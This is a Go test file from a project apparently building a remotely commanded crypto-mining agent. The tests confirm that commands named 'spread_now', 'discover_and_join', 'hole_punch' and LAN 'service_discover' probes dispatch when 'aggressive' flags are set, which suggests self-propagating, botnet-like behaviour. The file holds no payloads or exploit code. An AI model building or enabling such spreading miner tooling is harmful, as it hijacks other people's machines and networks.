Files
AetherForge/agent/client/aggressive_commands_test.go
AetherForge 7b2d41cda8
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
2026-06-07 04:58:55 -07:00

211 lines
5.4 KiB
Go

package client
import (
"encoding/json"
"runtime"
"strings"
"sync"
"testing"
"time"
"crypto-miner-agent/config"
)
func TestAllowRemoteActionHolePunch(t *testing.T) {
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{HolePunch: false}}}
ok, reason := c.allowRemoteAction("hole_punch")
if ok || reason == "" {
t.Fatalf("expected hole punch blocked without forge flag")
}
c.cfg.HolePunch = true
ok, reason = c.allowRemoteAction("hole_punch")
if !ok || reason != "" {
t.Fatalf("expected hole punch allowed: ok=%v reason=%q", ok, reason)
}
}
func TestAllowRemoteActionSpread(t *testing.T) {
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
ok, _ := c.allowRemoteAction("spread_now")
if ok {
t.Fatal("spread_now should require auto_spread or remote_aggressive")
}
c.cfg.RemoteAggressive = true
ok, _ = c.allowRemoteAction("spread_now")
if !ok {
t.Fatal("spread_now should allow with remote_aggressive")
}
}
func TestParsePortArg(t *testing.T) {
if parsePortArg("", 8989) != 8989 {
t.Fatal("empty should fallback")
}
if parsePortArg("443", 8989) != 443 {
t.Fatal("443 expected")
}
if parsePortArg("bad", 8989) != 8989 {
t.Fatal("invalid should fallback")
}
}
func TestPathTracerAllowRemoteActionRecon(t *testing.T) {
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
for _, action := range []string{
"wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover",
} {
ok, reason := c.allowRemoteAction(action)
if !ok || reason != "" {
t.Fatalf("%s should be allowed without forge flags: ok=%v reason=%q", action, ok, reason)
}
}
}
func TestPathTracerAllowRemoteActionDiscoverAndJoinGate(t *testing.T) {
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
ok, reason := c.allowRemoteAction("discover_and_join")
if ok || reason == "" {
t.Fatalf("discover_and_join should require auto_spread or remote_aggressive: ok=%v reason=%q", ok, reason)
}
c.cfg.RemoteAggressive = true
ok, reason = c.allowRemoteAction("discover_and_join")
if !ok || reason != "" {
t.Fatalf("discover_and_join allowed with remote_aggressive: ok=%v reason=%q", ok, reason)
}
}
func TestPathTracerCommandWgSetupRoutes(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("wg_setup invokes UPnP on Windows — routing covered by wg_status/configure tests")
}
var (
mu sync.Mutex
gotAct string
gotOK bool
gotMsg string
)
c := newTestClient(t)
c.commandResultHook = func(action string, success bool, message string) {
mu.Lock()
gotAct, gotOK, gotMsg = action, success, message
mu.Unlock()
}
if !c.handleAggressiveCommand("wg_setup", 0, "", "", "") {
t.Fatal("wg_setup should be handled by handleAggressiveCommand")
}
deadline := time.Now().Add(2 * time.Second)
for {
mu.Lock()
ready := gotAct != ""
mu.Unlock()
if ready || time.Now().After(deadline) {
break
}
time.Sleep(5 * time.Millisecond)
}
mu.Lock()
act, ok, msg := gotAct, gotOK, gotMsg
mu.Unlock()
if act != "wg_setup" {
t.Fatalf("action=%q", act)
}
if !ok {
t.Fatalf("wg_setup should succeed at dispatch layer, got msg=%q", msg)
}
var result WGSetupResult
if err := json.Unmarshal([]byte(msg), &result); err != nil {
t.Fatalf("wg_setup result must be JSON: %v msg=%q", err, msg)
}
if result.PublicKey == "" && result.Error == "" {
t.Fatalf("expected public_key or error in wg_setup JSON: %+v", result)
}
}
func TestPathTracerCommandServiceDiscoverRoutes(t *testing.T) {
if testing.Short() {
t.Skip("service_discover performs live LAN probes")
}
var (
mu sync.Mutex
gotAct string
gotOK bool
gotMsg string
)
c := newTestClient(t)
c.commandResultHook = func(action string, success bool, message string) {
mu.Lock()
gotAct, gotOK, gotMsg = action, success, message
mu.Unlock()
}
done := make(chan struct{})
go func() {
defer close(done)
if !c.handleAggressiveCommand("service_discover", 0, "1", "", "") {
t.Error("service_discover should be handled")
}
}()
select {
case <-done:
case <-time.After(8 * time.Second):
t.Skip("service_discover LAN scan exceeded 8s in this environment")
}
mu.Lock()
act, ok, msg := gotAct, gotOK, gotMsg
mu.Unlock()
if act != "service_discover" || !ok {
t.Fatalf("result: action=%q ok=%v", act, ok)
}
if msg == "" || !strings.Contains(msg, "{") {
t.Fatalf("service_discover should return JSON payload, got %q", msg)
}
}
func TestPathTracerCommandWgConfigureBadPayload(t *testing.T) {
var (
mu sync.Mutex
gotOK bool
gotMsg string
)
c := newTestClient(t)
c.commandResultHook = func(_ string, success bool, message string) {
mu.Lock()
gotOK, gotMsg = success, message
mu.Unlock()
}
if !c.handleAggressiveCommand("wg_configure", 0, "", "", "not-json") {
t.Fatal("wg_configure should be handled")
}
if gotOK || !strings.Contains(gotMsg, "bad wg config payload") {
t.Fatalf("got ok=%v msg=%q", gotOK, gotMsg)
}
}
func TestPathTracerCommandWgStatusRoutes(t *testing.T) {
var (
mu sync.Mutex
gotAct string
gotMsg string
)
c := newTestClient(t)
c.commandResultHook = func(action string, _ bool, message string) {
mu.Lock()
gotAct, gotMsg = action, message
mu.Unlock()
}
if !c.handleAggressiveCommand("wg_status", 0, "", "", "") {
t.Fatal("wg_status should be handled")
}
if gotAct != "wg_status" || gotMsg == "" {
t.Fatalf("action=%q msg=%q", gotAct, gotMsg)
}
}